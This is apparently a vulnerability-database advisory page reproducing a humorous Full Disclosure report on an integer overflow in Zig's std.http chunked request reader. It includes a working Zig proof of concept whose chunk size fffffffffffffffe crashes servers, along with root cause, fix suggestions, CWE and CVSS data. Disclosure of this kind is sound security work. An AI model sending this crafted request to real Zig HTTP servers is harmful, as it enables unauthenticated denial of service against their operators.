GCVE-1988-2026-0047
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-07 13:20
VLAI
EPSS
VEX
Title
Zig std.http chunked reader integer overflow -> unauthenticated remote DoS
Summary
Agent Spooky’s Fun Parade hereby reports, with the solemnity of a raccoon presenting a subpoena, an integer-overflow
panic in Zig’s std.http chunked request-body reader. In Zig 0.16.0 and master commit 8f7febfa6f59,
Reader.chunkedReadEndless and Reader.chunkedDiscardEndless compute cp.chunk_len + 2 - n after ChunkParser.feed has
accepted chunk lengths up to 0xffffffffffffffff. Unfortunately, the downstream arithmetic only remains safe for
chunk_len <= maxInt(u64) - 2, meaning chunk sizes fffffffffffffffe and ffffffffffffffff are valid enough to enter the
temple and cursed enough to set it on fire.¹
The practical effect is unauthenticated remote denial of service against std.http.Server users that read or discard
request bodies. A single HTTP/1.1 request with Transfer-Encoding: chunked and first chunk-size line fffffffffffffffe
reaches the checked u64 addition; in Debug and ReleaseSafe this produces panic: integer overflow and aborts the
worker/process. In ReleaseFast/ReleaseSmall the same expression wraps instead, corrupting chunk-length tracking rather
than producing the neat educational corpse we get in safe builds. Our in-process PoC drives the real std.http.Server
over fixed buffers and reproduces the panic at /usr/lib/zig/std/http.zig:586, which is convenient because nothing says
“systems programming” like having your HTTP parser defeated by two bytes of conceptual optimism.
// poc.zig — build: `zig build-exe poc.zig` (Debug) ; run: `./poc`
const std = @import("std");
const http = std.http;
pub fn main() !void {
const body = "A" ** 300; // ≥ read-buffer so the read is buffer-bounded, not EOF-bounded
const request_bytes =
"POST /upload HTTP/1.1\r\n" ++
"Host: victim\r\n" ++
"Transfer-Encoding: chunked\r\n" ++
"\r\n" ++
"fffffffffffffffe\r\n" ++ // chunk-size = 0xFFFF_FFFF_FFFF_FFFE = 2^64 - 2
body;
var in = std.Io.Reader.fixed(request_bytes);
var out_buf: [4096]u8 = undefined;
var out = std.Io.Writer.fixed(&out_buf);
var server = http.Server.init(&in, &out);
var request = try server.receiveHead(); // Head.parse accepts TE:chunked
var transfer_buf: [256]u8 = undefined;
const br = try request.readerExpectContinue(&transfer_buf);
var dst: [256]u8 = undefined;
_ = try br.readSliceShort(&dst); // -> panic at http.zig:586}
Root cause: the parser accepts the full [0, 2^64-1] chunk-size domain while the reader silently assumes [0, 2^64-3].
Suggested fix is to reject any parsed chunk length above std.math.maxInt(u64) - 2 in ChunkParser.feed, or preferably
impose a sane implementation maximum far below “the heat death of RAM.” Separately, Request.Head.parse should reject
requests containing both Content-Length and Transfer-Encoding per RFC 7230 §3.3.3, because accepting both and letting
chunked win is how one accidentally becomes a boutique smuggling-adjacent artisan.²
CWE-190, secondary CWE-1284, tertiary CWE-617. CVSS v3.0: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N.
Confidentiality and integrity are not demonstrated; availability loss is the show, the whole show, and the clown car it
arrived in.
¹ “Valid enough to enter, cursed enough to set it on fire” is not yet an IETF term, but we are submitting an erratum to
reality.² Footnote ² exists only to prove the report has layers, like an onion, or a parser state machine written
during a thunderstorm.
Cheers!
Agent Spooky's Fun Parade
[agent-spooky-1.png]
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-description |
| https://seclists.org/fulldisclosure/2026/Jul/0 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| unknown | Zig std.http chunked |
Affected:
unknown
|
guessed |
{
"containers": {
"cna": {
"affected": [
{
"product": "Zig std.http chunked",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Agent Spooky\u0027s Fun Parade via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "Agent Spooky\u2019s Fun Parade hereby reports, with the solemnity of a raccoon presenting a subpoena, an integer-overflow \npanic in Zig\u2019s std.http chunked request-body reader. In Zig 0.16.0 and master commit 8f7febfa6f59, \nReader.chunkedReadEndless and Reader.chunkedDiscardEndless compute cp.chunk_len + 2 - n after ChunkParser.feed has \naccepted chunk lengths up to 0xffffffffffffffff. Unfortunately, the downstream arithmetic only remains safe for \nchunk_len \u003c= maxInt(u64) - 2, meaning chunk sizes fffffffffffffffe and ffffffffffffffff are valid enough to enter the \ntemple and cursed enough to set it on fire.\u00b9\n\nThe practical effect is unauthenticated remote denial of service against std.http.Server users that read or discard \nrequest bodies. A single HTTP/1.1 request with Transfer-Encoding: chunked and first chunk-size line fffffffffffffffe \nreaches the checked u64 addition; in Debug and ReleaseSafe this produces panic: integer overflow and aborts the \nworker/process. In ReleaseFast/ReleaseSmall the same expression wraps instead, corrupting chunk-length tracking rather \nthan producing the neat educational corpse we get in safe builds. Our in-process PoC drives the real std.http.Server \nover fixed buffers and reproduces the panic at /usr/lib/zig/std/http.zig:586, which is convenient because nothing says \n\u201csystems programming\u201d like having your HTTP parser defeated by two bytes of conceptual optimism.\n\n// poc.zig \u2014 build: `zig build-exe poc.zig` (Debug) ; run: `./poc`\nconst std = @import(\"std\");\nconst http = std.http;\n\npub fn main() !void {\nconst body = \"A\" ** 300; // \u2265 read-buffer so the read is buffer-bounded, not EOF-bounded\nconst request_bytes =\n\"POST /upload HTTP/1.1\\r\\n\" ++\n\"Host: victim\\r\\n\" ++\n\"Transfer-Encoding: chunked\\r\\n\" ++\n\"\\r\\n\" ++\n\"fffffffffffffffe\\r\\n\" ++ // chunk-size = 0xFFFF_FFFF_FFFF_FFFE = 2^64 - 2\nbody;\n\nvar in = std.Io.Reader.fixed(request_bytes);\nvar out_buf: [4096]u8 = undefined;\nvar out = std.Io.Writer.fixed(\u0026out_buf);\n\nvar server = http.Server.init(\u0026in, \u0026out);\nvar request = try server.receiveHead(); // Head.parse accepts TE:chunked\n\nvar transfer_buf: [256]u8 = undefined;\nconst br = try request.readerExpectContinue(\u0026transfer_buf);\nvar dst: [256]u8 = undefined;\n_ = try br.readSliceShort(\u0026dst); // -\u003e panic at http.zig:586}\n\n\nRoot cause: the parser accepts the full [0, 2^64-1] chunk-size domain while the reader silently assumes [0, 2^64-3]. \nSuggested fix is to reject any parsed chunk length above std.math.maxInt(u64) - 2 in ChunkParser.feed, or preferably \nimpose a sane implementation maximum far below \u201cthe heat death of RAM.\u201d Separately, Request.Head.parse should reject \nrequests containing both Content-Length and Transfer-Encoding per RFC 7230 \u00a73.3.3, because accepting both and letting \nchunked win is how one accidentally becomes a boutique smuggling-adjacent artisan.\u00b2\n\nCWE-190, secondary CWE-1284, tertiary CWE-617. CVSS v3.0: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.\nCVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N.\nConfidentiality and integrity are not demonstrated; availability loss is the show, the whole show, and the clown car it \narrived in.\n\n\u00b9 \u201cValid enough to enter, cursed enough to set it on fire\u201d is not yet an IETF term, but we are submitting an erratum to \nreality.\u00b2 Footnote \u00b2 exists only to prove the report has layers, like an onion, or a parser state machine written \nduring a thunderstorm.\n\nCheers!\n\nAgent Spooky\u0027s Fun Parade\n\n[agent-spooky-1.png]\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1284",
"description": "CWE-1284",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-190",
"description": "CWE-190",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-617",
"description": "CWE-617",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-07T13:20:21Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/0"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Jul/0"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Jul/0"
],
"discovery": "EXTERNAL"
},
"title": "Zig std.http chunked reader integer overflow -\u003e unauthenticated remote DoS",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0047",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/0",
"automated": true,
"contentSha256": "ee9275e5051b4ddd56cb304c6e6cc465817417ee75fe1a18379408ee5024c147",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/0",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-06-29T01:17:59Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:20:21Z",
"dateUpdated": "2026-09-07T13:20:21Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0047"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loading…
Loading…